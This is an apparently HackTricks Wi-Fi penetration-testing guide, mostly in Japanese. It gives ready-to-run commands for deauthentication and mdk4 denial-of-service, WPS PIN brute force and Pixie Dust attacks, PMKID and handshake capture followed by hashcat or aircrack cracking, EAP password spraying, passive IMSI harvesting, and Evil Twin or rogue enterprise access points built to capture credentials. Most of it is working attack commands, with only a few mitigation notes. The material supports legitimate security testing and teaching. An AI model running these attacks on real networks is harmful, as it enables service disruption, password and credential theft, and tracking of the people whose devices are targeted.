Pentesting Wifi

Reading time: 56 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Wifi 基本コマンド

bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

ツール

Hijacker & NexMon (Android の内部 Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

airgeddonをdockerで実行する

bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

出典: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Evil Twin、KARMA、Known Beacons攻撃を実行でき、phishing templateを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの認証情報を取得したりできます。

bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

このツールは WPS/WEP/WPA-PSK 攻撃を自動化します。以下を自動で行います:

  • インターフェースを monitor mode に設定する
  • 利用可能なネットワークをスキャンし、ターゲットを選択できるようにする
  • WEP の場合は WEP 攻撃を起動する
  • WPA-PSK の場合
  • WPS の場合: Pixie dust attack と bruteforce attack(注意: brute-force attack は非常に時間がかかる場合があります)。null PIN や database/generated PINs は試行しない点に注意。
  • AP から PMKID をキャプチャしてクラックを試みる
  • AP のクライアントを deauthenticate して handshake をキャプチャする
  • PMKID または Handshake を取得した場合、top5000 passwords を使って bruteforce を試みる

Attacks Summary

  • DoS
  • Deauthentication/disassociation -- 全員を切断する(または特定の ESSID/Client)
  • Random fake APs -- ネットワークを隠す、スキャナをクラッシュさせる可能性がある
  • Overload AP -- AP を落とそうとする(通常あまり有用ではない)
  • WIDS -- IDS を操作する
  • TKIP, EAPOL -- 一部の AP に対する DoS 用の特定の攻撃
  • Cracking
  • Crack WEP(複数のツールと方法)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin(DoS あり/なし)
  • Open Evil Twin [+ DoS] -- captive portal creds の取得や LAN 攻撃の実行に有用
  • WPA-PSK Evil Twin -- パスワードが分かっている場合にネットワーク攻撃に有用
  • WPA-MGT -- 企業の資格情報をキャプチャするのに有用
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- captive portal creds の取得や LAN 攻撃の実行に有用
  • + WPA -- WPA handshakes をキャプチャするのに有用

DOS

Deauthentication Packets

Description from here:.

Deauthentication attacks(Wi‑Fi ハッキングで一般的な手法)は、"management" frames を偽造して ネットワークからデバイスを強制的に切断する ことを含みます。これらの暗号化されていないパケットはクライアントを騙して正当なネットワークからのものだと信じ込ませ、攻撃者が WPA handshakes を収集して cracking に利用したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術はその単純さゆえに驚くべきもので、広く使われており、ネットワークセキュリティに重大な影響を及ぼします。

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 は deauthentication を意味する
  • 1 は送信する deauths の数(必要なら複数送信可能)。0 は継続して送信することを意味する
  • -a 00:14:6C:7E:40:80 は access point の MAC address
  • -c 00:0F:B5:34:30:30 は deauthenticate する client の MAC address。これを省略すると broadcast deauthentication が送信される(必ずしも動作するとは限らない)
  • ath0 は interface name

Disassociation Packets

Disassociation packets は deauthentication packets に似た、Wi‑Fi ネットワークで使用される一種の management frame です。これらのパケットはデバイス(laptop や smartphone など)と access point(AP)との接続を切断する役割を果たします。disassociation と deauthentication の主な違いは使用される状況にあります。AP が deauthentication packets を送って不正なデバイスをネットワークから明示的に除外するのに対し、disassociation packets は通常 AP がシャットダウン、再起動、あるいは移動中であるときに送信され、接続されている全ノードの切断が必要になる場合に使われます。

この攻撃は mdk4(mode "d") によって実行できます:

bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4 によるその他の DOS 攻撃

詳細は here

ATTACK MODE b: Beacon Flooding

clientsにfake APsを表示するためにbeacon framesを送信します。これによりnetwork scannersやdriversが時々クラッシュすることがあります!

bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

範囲内の利用可能な Access Points (APs) に authentication frames を送信すると、特に多数の clients が関与している場合、これらの APs に過負荷をかける可能性があります。この激しいトラフィックはシステムの不安定化を招き、一部の APs がフリーズしたりリセットされることさえあります。

bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻撃モード p: SSID Probing and Bruteforcing

Probing Access Points (APs) は、SSIDが正しく表示されているかを確認し、APの到達範囲を確かめます。この手法は、bruteforcing hidden SSIDs を wordlist の有無にかかわらず併用することで、隠されたネットワークの特定とアクセスに役立ちます。

攻撃モード m: Michael Countermeasures Exploitation

ランダムまたは重複したパケットを異なる QoS キューに送信すると、TKIP APs 上で Michael Countermeasures を誘発し、1分間の AP シャットダウンを引き起こすことがあります。この方法は効率的な DoS (Denial of Service) 攻撃手法です。

bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

APをEAPOL Start framesでフラッディングすると、fake sessionsが作成され、APが圧倒されて正当なclientsがブロックされます。あるいは、fake EAPOL Logoff messagesを注入してclientsを強制的に切断させることで、いずれの方法もネットワークサービスを効果的に妨害します。

bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11s メッシュネットワークに対する攻撃

メッシュネットワークのリンク管理とルーティングに対する様々な攻撃。

ATTACK MODE w: WIDS の混乱

クライアントを複数の WDS nodes や偽の rogue APs にクロス接続することで、Intrusion Detection and Prevention Systems を操作し、混乱や潜在的なシステム悪用を招く可能性がある。

bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

A packet fuzzer featuring diverse packet sources and a comprehensive set of modifiers for packet manipulation.

Airggedon

Airgeddon は前述の多くの攻撃を提供します:

WPS

WPS (Wi-Fi Protected Setup) はデバイスをルーターに接続するプロセスを簡素化し、WPAWPA2 Personal で暗号化されたネットワークのセットアップを高速かつ容易にします。WEP のように容易に破られるセキュリティには効果的ではありません。WPS は8桁の PIN を使用し、前半と後半に分けて検証されるため、組み合わせ数が限られており(約11,000通り)、brute-force 攻撃に対して脆弱です。

WPS Bruteforce

この操作を行うための主要なツールは主に2つ、Reaver と Bully です。

  • Reaver は WPS に対する堅牢で実用的な攻撃となるよう設計されており、さまざまなアクセスポイントや WPS 実装でテストされています。
  • Bully は C で書かれた WPS brute force 攻撃の new implementation です。オリジナルの reaver コードに比べて依存関係が少なく、メモリと CPU のパフォーマンスが向上し、endianness の正しい処理やより堅牢なオプション群などの利点があります。

この攻撃は WPS PIN の脆弱性 を突きます。特に最初の4桁が露出し、最後の桁がチェックサムとして機能するため、brute-force 攻撃が容易になります。ただし、攻撃者の blocking MAC addresses のような brute-force 攻撃に対する防御策が存在するため、攻撃を継続するには MAC address rotation が必要になります。

Bully や Reaver のようなツールで WPS PIN を入手すると、攻撃者は WPA/WPA2 PSK を推測でき、永続的なネットワークアクセス を確保できます。

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

この洗練されたアプローチは、既知の脆弱性を利用してWPS PINsを標的にします:

  1. Pre-discovered PINs: 既知のPINを格納したデータベースを利用し、均一なWPS PINを使うことで知られる特定のメーカーに紐付けます。このデータベースは、これらのメーカーに対する推定PINとMAC-addressesの最初の3オクテットを相関させます。
  2. PIN Generation Algorithms: ComputePINやEasyBoxなどのアルゴリズムを利用し、APのMAC-addressからWPS PINを計算します。Arcadyan algorithmはさらにdevice IDを必要とし、PIN生成プロセスに一層の要素を追加します。

WPS Pixie Dust attack

Dominique Bongardは、いくつかのAccess Points (APs)における、秘密のコードであるnonces (E-S1とE-S2) の生成に関する欠陥を発見しました。これらのnoncesが推測できると、APのWPS PINを割り出すことが容易になります。APは、そのAPが正当であり偽(rogue)APではないことを証明するために、特別なコード(hash)の中にPINを示します。これらのnoncesは、本質的にWPS PINを保持する「金庫」を開けるための「鍵」です。詳細はこちらにあります。

簡単に言うと、問題は一部のAPが接続プロセス中にPINを暗号化するための鍵に十分なランダム性を使用していなかったことです。これにより、PINはネットワーク外から推測されやすく(offline brute force attack)、脆弱になります。

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

もしデバイスをmonitor modeに切り替えたくない、または reaverbully に問題がある場合は、OneShot-C を試してみてください。このツールは monitor mode に切り替えることなく Pixie Dust attack を実行できます。

bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

設計が不十分なシステムの中には、Null PIN(空または存在しないPIN)でアクセスを許可するものもあり、これはかなり珍しいことです。ツールReaverはこの脆弱性のテストが可能ですが、Bullyはできません。

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

提案されているすべてのWPS攻撃は、airgeddon. を使って簡単に実行できます。

  • 5 and 6 lets you try your custom PIN (if you have any)
  • 7 and 8 perform the Pixie Dust attack
  • 13 allows you to test the NULL PIN
  • 11 and 12 will recollect the PINs related to the selected AP from available databases and generate possible PINs using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?)
  • 9 and 10 will test every possible PIN

WEP

現在では非常に脆弱でほとんど使われていません。airgeddon にはこの種の保護を攻撃するための "All-in-One" と呼ばれる WEP オプションがあることを知っておいてください。他のツールも同様のオプションを提供します。



WPA/WPA2 PSK

PMKID

In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesn't require any clients to be connected to the target AP—just interaction between the attacker and the AP.

Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network. This includes the PMKID.

As the original post explains, the PMKID is created using known data:

bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Given that the "PMK Name" is constant, we know the BSSID of the AP and the station, and the PMK is identical to the one from a full 4-way handshake, hashcat can use this information to crack the PSK and recover the passphrase!

この情報をgatherし、ローカルでパスワードをbruteforceするには、次のようにします:

bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs capturedconsole に表示され、_ /tmp/attack.pcap_ にも 保存 されます。
次に、キャプチャを hashcat/john フォーマットに変換して crack してください:

bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

正しいハッシュの形式は4つの部分で構成されていることに注意してください。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838。もしあなたのものが3つの部分しか含まれていない場合、それは無効です(PMKID captureは有効ではありません)。

hcxdumptoolhandshakesもキャプチャします(このような表示が出ます: MP:M1M2 RC:63258 EAPOLTIME:17091)。cap2hccapx を使って handshakeshashcat/john 形式に変換できます。

bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.

Handshake capture

WPA/WPA2 ネットワークへの攻撃は、handshake をキャプチャしてパスワードを offlinecrack することで実行できます。このプロセスは、特定のネットワークの通信およびそのネットワークの BSSID を特定の channel 上で監視することを含みます。以下は簡潔なガイドです:

  1. ターゲットネットワークの BSSIDchannel、および connected client を特定する。
  2. airodump-ng を使用して、指定した channel と BSSID 上のネットワークトラフィックを監視し、handshake のキャプチャを狙う。コマンドは次のようになります:
bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. handshakeをキャプチャする確率を上げるために、clientをnetworkから一時的に切断してre-authenticationを強制します。これはaireplay-ngコマンドを使用してclientにdeauthentication packetsを送信することで行えます:
bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.

airodump-ng に handshake 情報が表示されたら、それは handshake がキャプチャされたことを意味するので、listening を停止して構いません:

handshake がキャプチャされたら、aircrack-ngcrack できます:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

ファイル内にhandshakeがあるか確認

aircrack

bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

このツールがあるESSIDの未完了のhandshakeを、完了したhandshakeより先に検出した場合、有効なhandshakeを検出しません。

pyrit

bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

In エンタープライズ WiFi 環境では、さまざまな認証方式に遭遇します, それぞれが異なるセキュリティレベルと管理機能を提供します。airodump-ng のようなツールでネットワークトラフィックを解析すると、これらの認証タイプの識別子が表示されることがあります。一般的な方式には次のものがあります:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • この方法はハードウェアトークンやワンタイムパスワードをEAP-PEAP内でサポートします。MSCHAPv2とは異なりpeer challengeを使用せず、パスワードをaccess pointへplaintextで送信するため、downgrade attacksのリスクがあります。
  1. EAP-MD5 (Message Digest 5):
  • クライアントからパスワードのMD5ハッシュを送信します。辞書攻撃に弱く、サーバ認証がなく、セッション固有のWEPキーを生成できないため、推奨されません
  1. EAP-TLS (Transport Layer Security):
  • クライアント側とサーバ側の両方の証明書を使って認証を行い、動的にユーザベースおよびセッションベースのWEPキーを生成して通信を保護できます。
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • 暗号化されたトンネルを通じた相互認証を提供し、ユーザごと・セッションごとの動的なWEPキーを導出する手段を備えています。サーバ側の証明書のみを要求し、クライアントは資格情報を使用します。
  1. PEAP (Protected Extensible Authentication Protocol):
  • TLSトンネルを作成して保護された通信を行う点でEAPと同様に機能します。トンネルにより保護されるため、より弱い認証プロトコルをEAPの上で使用することが可能になります。
  • PEAP-MSCHAPv2: 多くの場合PEAPと呼ばれ、脆弱なMSCHAPv2のchallenge/response機構を保護するTLSトンネルと組み合わせたものです。
  • PEAP-EAP-TLS (or PEAP-TLS): EAP-TLSに類似していますが、証明書交換の前にTLSトンネルを確立することで追加のセキュリティ層を提供します。

You can find more information about these authentication methods here and here.

Username Capture

Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the "Identity" messages must be supported, and the username is going to be sent in clear in the "Response Identity" messages.

Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the "Response, Identity" packet, the username of the client will appear.

Anonymous Identities

Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi network, an EAP-Identity request is typically initiated by the access point (AP) during the association process. To ensure the protection of user anonymity, the response from the EAP client on the user's device contains only the essential information required for the initial RADIUS server to process the request. This concept is illustrated through the following scenarios:

  • EAP-Identity = anonymous
  • In this scenario, all users employ the pseudonymous "anonymous" as their user identifier. The initial RADIUS server functions as either an EAP-PEAP or EAP-TTLS server, responsible for managing the server-side of the PEAP or TTLS protocol. The inner (protected) authentication method is then either handled locally or delegated to a remote (home) RADIUS server.
  • EAP-Identity = anonymous@realm_x
  • In this situation, users from different realms conceal their identities while indicating their respective realms. This allows the initial RADIUS server to proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms, which act as the PEAP or TTLS server. The initial RADIUS server operates solely as a RADIUS relay node.
  • Alternatively, the initial RADIUS server may function as the EAP-PEAP or EAP-TTLS server and either handle the protected authentication method or forward it to another server. This option facilitates the configuration of distinct policies for various realms.

In EAP-PEAP, once the TLS tunnel is established between the PEAP server and the PEAP client, the PEAP server initiates an EAP-Identity request and transmits it through the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user's true identity through the encrypted tunnel. This approach effectively prevents the revelation of the user's actual identity to anyone eavesdropping on the 802.11 traffic.

EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typically authenticates using PAP or CHAP, secured by the TLS tunnel. In this case, the client includes a User-Name attribute and either a Password or CHAP-Password attribute in the initial TLS message sent after tunnel establishment.

Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user's true identity after the TLS tunnel has been established. The true identity can be represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for authenticating the user, it now possesses the user's identity and proceeds with the authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user's home RADIUS server. This new RADIUS request omits the PEAP or TTLS protocol layer. In cases where the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user's true identity, replacing the anonymous User-Name from the incoming RADIUS request. When the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes extracted from the TLS payload are substituted in the outgoing RADIUS message, displacing the anonymous User-Name and TTLS EAP-Message attributes found in the incoming RADIUS request.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

クリックして展開
bash
# 1) Enable monitor mode
airmon-ng start wlan0

# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>

# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
#   eap || eapol
#   (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
#   tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
#   20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

ノート:

  • デプロイが保護された identity/偽名(pseudonyms)なしの生の EAP‑SIM/AKA を使用している場合、TLS トンネルより前に動作します。
  • 公開される値は加入者の SIM に紐づく恒久的な識別子であり、収集されると長期的な追跡やその後の電気通信における悪用を可能にします。

影響

  • プライバシー: 公共の場所での受動的な Wi‑Fi キャプチャからの持続的なユーザ/デバイス追跡。
  • 電気通信の悪用の足がかり: IMSI を使って、SS7/Diameter へのアクセスを持つ攻撃者は位置情報を照会したり、通話/SMS の傍受や MFA の盗用を試みたりできます。

緩和策 / 確認すべき点

  • クライアントが 3GPP のガイダンス(例: 3GPP TS 33.402)に従い、EAP‑SIM/AKA で匿名の外部識別子(pseudonyms)を使用していることを確認してください。
  • ID フェーズをトンネリングすることを優先してください(例: EAP‑TTLS/PEAP が inner EAP‑SIM/AKA を運ぶ)ことで、IMSI が平文で送信されることを防げます。
  • association/auth のパケットキャプチャにおいて、生の IMSI が EAP-Response/Identity に現れてはなりません。

関連: 捕獲されたモバイル識別子を用いた電気通信シグナリングの悪用 Telecom Network Exploitation

EAP-Bruteforce (password spray)

If the client is expected to use a username and password (notice that EAP-TLS won't be valid in this case), then you could try to get a list a usernames (see next part) and passwords and try to bruteforce the access using air-hammer.

bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

この attack は eaphammer を使って行うこともできます:

bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

クライアント攻撃の理論

ネットワーク選択とローミング

  • 802.11 プロトコルはステーションが Extended Service Set (ESS) に参加する方法を定義するが、どの ESS やその中のアクセスポイント (AP) を選択するかの基準は規定していない。
  • ステーションは同じ ESSID を共有する複数の AP 間をローミングでき、建物やエリア全体で接続を維持する。
  • プロトコルはステーションが ESS に対して認証されることを要求するが、AP がステーションに対して認証されることは要求しない。

Preferred Network Lists (PNLs)

  • ステーションは接続した各無線ネットワークの ESSID を Preferred Network List (PNL) に、ネットワーク固有の設定情報とともに保存する。
  • PNL は既知のネットワークに自動接続するために使用され、接続プロセスを簡略化してユーザー体験を向上させる。

Passive Scanning

  • AP は定期的にビーコンフレームをブロードキャストし、その存在や機能を知らせる。AP の ESSID はブロードキャストが無効でない限り含まれる。
  • パッシブスキャン中、ステーションはビーコンフレームを受信して待ち受ける。ビーコンの ESSID がステーションの PNL のエントリと一致する場合、ステーションはその AP に自動的に接続することがある。
  • デバイスの PNL を知ることで、既知のネットワークの ESSID を模倣してデバイスを不正な AP に接続させるといった悪用が可能になる。

Active Probing

  • アクティブプロービングは、ステーションが probe requests を送信して近隣の AP とその特性を検出する行為を含む。
  • Directed probe requests は特定の ESSID を狙い、隠しネットワークであってもそのネットワークが届く範囲にあるかを検出するのに役立つ。
  • Broadcast probe requests は null SSID フィールドを持ち、近隣のすべての AP に送信されるため、PNL の内容を明かすことなく優先ネットワークがあるかをステーションが確認できる。

Simple AP with redirection to Internet

より複雑な攻撃の方法を説明する前に、単に AP作成 し、その トラフィックインターネットに接続されたインターフェースリダイレクト する方法を説明する。

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

DHCP & DNS

bash
apt-get install dnsmasq #Manages DHCP and DNS

/etc/dnsmasq.conf の設定ファイルを作成する:

ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

次に set IPsroutes:

bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

そして dnsmasq を 起動 します:

bash
dnsmasq -C dnsmasq.conf -d

hostapd

bash
apt-get install hostapd

設定ファイル hostapd.conf を作成する:

ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

邪魔なプロセスを停止する , 設定 monitor mode, そして hostapdを起動する:

bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

フォワーディングとリダイレクション

bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Evil Twin攻撃は、WiFiクライアントがネットワークを認識する仕組みを悪用します。主にネットワーク名(ESSID)に依存しており、ベースステーション(アクセスポイント)がクライアントに自身を認証する必要がありません。主なポイントは次のとおりです:

  • 区別の困難さ: デバイスは同じESSIDと暗号化方式を共有している場合、正規のアクセスポイントと不正なアクセスポイントを区別するのに苦労します。現実のネットワークでは、シームレスにカバレッジを拡張するために同じESSIDを持つ複数のアクセスポイントを使用することが多いです。
  • クライアントのローミングと接続操作: 802.11プロトコルでは、同一ESS内でデバイスがアクセスポイント間をローミングすることを許可しています。攻撃者はこれを利用して、デバイスを現在のベースステーションから切断させ、悪意あるものに接続させることができます。これは、より強い信号を提供したり、deauthentication packets や jamming のような方法で正規のアクセスポイントへの接続を妨害することで達成できます。
  • 実行上の課題: 複数の適切に配置されたアクセスポイントがある環境でEvil Twin攻撃を成功させるのは難しい場合があります。単一の正規アクセスポイントをdeauthenticateすると、多くの場合デバイスは別の正規アクセスポイントに接続してしまいます。攻撃者が近隣のすべてのアクセスポイントをdeauthenticateできるか、あるいは悪意あるアクセスポイントを戦略的に配置できる場合を除きます。

You can create a very basic Open Evil Twin(インターネットへトラフィックをルーティングする機能はない)を次のように作成できます:

bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

また、eaphammer を使って Evil Twin を作成することもできます(eaphammer で evil twins を作成するには、インターフェースは monitor モードにしてはいけません(should NOT be)):

bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal

または Airgeddon を使用する: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

デフォルトでは、PNL 内の ESSID が WPA protected として保存されている場合、デバイスは Open evil Twin に自動的には接続しないことに注意してください。実際の AP に DoS を仕掛けてユーザが手動であなたの Open evil twin に接続することを期待することもできますし、あるいは実際の AP に DoS を仕掛けて WPA Evil Twin を使い handshake をキャプチャすることもできます(この方法では PSK が分からないため被害者をあなたのネットワークに接続させることはできませんが、handshake をキャプチャして crack を試みることは可能です)。

Some OS and AV will warn the user that connect to an Open network is dangerous...

WPA/WPA2 Evil Twin

あなたは Evil Twin using WPA/2 を作成できます。デバイスがその SSID に WPA/2 で接続するよう設定されていれば、接続を試みます。とはいえ、to complete the 4-way-handshake するには、クライアントが使用する passwordknow している必要があります。もし don't know 場合、connection won't be completed

bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

この攻撃を理解するには、まず簡潔なWPA Enterprise explanationを読むことをお勧めします。

hostapd-wpe の使用

hostapd-wpe は動作に設定ファイルが必要です。これらの設定の生成を自動化するには、https://github.com/WJDigby/apd_launchpad を使うと良いでしょう(pythonファイルを /etc/hostapd-wpe/ にダウンロードしてください)。

bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、auth など、さまざまな項目を選択できます...

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

EAPHammer を使用する

bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

デフォルトでは、EAPHammer は次の認証方式を使用します(最初に GTC を試して plaintext passwords を取得しようとし、その後より堅牢な auth methods を使用します):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

